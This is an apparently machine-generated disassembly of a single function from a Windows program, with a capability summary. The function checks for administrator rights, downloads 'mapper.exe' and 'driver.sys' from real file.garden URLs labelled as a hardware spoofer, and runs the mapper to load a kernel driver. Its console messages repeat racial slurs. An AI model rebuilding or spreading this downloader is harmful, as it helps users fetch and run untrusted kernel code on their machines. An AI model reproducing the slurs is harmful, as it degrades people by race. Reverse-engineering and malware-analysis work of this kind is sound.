Function at 0x401000
Capabilities:
Create directory
Create process on windows
Download url
Get common file path
Get token membership
Receive data

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x670
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x66c], eax
push esi
push edi
lea eax, [esp + 0xc]
mov dword [esp + 0x54], 0
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push 0x220
push 0x20
push 2
lea eax, [esp + 0x74]
mov dword [esp + 0x34], 0
push eax
mov dword [esp + 0x78], 0
mov word [esp + 0x7c], 0x500
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
je 0x40107f
lea eax, [esp + 0x54]
push eax
push dword [esp + 0x10]
push 0
call dword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
push dword [esp + 0xc]
call dword [sym.imp.ADVAPI32.dll_FreeSid]
cmp dword [esp + 0x54], 0
jne 0x401090
mov edx, str.Why_so_serious_____._n
jmp 0x401210
lea eax, [esp + 0x58]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
mov edi, dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscat_s]
lea eax, [esp + 0x58]
push str.IMEI_
push 0x104
push eax
call edi
add esp, 0xc
lea eax, [esp + 0x58]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
mov esi, dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscpy_s]
lea eax, [esp + 0x58]
push eax
lea eax, [esp + 0x264]
push 0x104
push eax
call esi
add esp, 0xc
lea eax, [esp + 0x260]
push str.mapper.exe
push 0x104
push eax
call edi
add esp, 0xc
lea eax, [esp + 0x58]
push eax
lea eax, [esp + 0x46c]
push 0x104
push eax
call esi
add esp, 0xc
lea eax, [esp + 0x468]
push str.driver.sys
push 0x104
push eax
call edi
mov esi, dword [sym.imp.urlmon.dll_URLDownloadToFileW]
lea eax, [esp + 0x26c]
add esp, 0xc
push 0
push 0
push eax
push str.https:__file.garden_Ztg1VXOngl0iXH60_temp_20spoofer_orqur_v61u0w7l.bin
push 0
call esi
test eax, eax
js 0x40120b
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
mov edx, str.Nigger_mapped._n
call fcn.00401240
push 0
push 0
lea eax, [esp + 0x470]
push eax
push str.https:__file.garden_Ztg1VXOngl0iXH60_temp_20spoofer_orqur_zxca6o90.sys
push 0
call esi
test eax, eax
js 0x401204
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
mov edx, str.Driver_nigger._n
call fcn.00401240
push 0x38
lea eax, [esp + 0x18]
mov dword [esp + 0x14], 0x3c
push 0
push eax
call sub.VCRUNTIME140.dll_memset
lea eax, [esp + 0x26c]
mov dword [esp + 0x28], 0x403160
mov dword [esp + 0x2c], eax
add esp, 0xc
lea eax, [esp + 0x468]
mov dword [esp + 0x2c], 1
mov dword [esp + 0x24], eax
lea eax, [esp + 0x10]
push eax
call dword [sym.imp.SHELL32.dll_ShellExecuteExW]
test eax, eax
je 0x4011fd
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
mov edx, str.Spoffing_Nigger._n
call fcn.00401240
xor eax, eax
pop edi
pop esi
mov ecx, dword [esp + 0x66c]
xor ecx, esp
call fcn.0040152a
mov esp, ebp
pop ebp
ret
mov edx, str.This_nigga_nigger._n
jmp 0x401210
mov edx, str.Mapper_shitton._n
jmp 0x401210
mov edx, str.mapper_shitton._n
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcerr]
call fcn.00401240
mov ecx, dword [esp + 0x674]
mov eax, 1
pop edi
pop esi
xor ecx, esp
call fcn.0040152a
mov esp, ebp
pop ebp
ret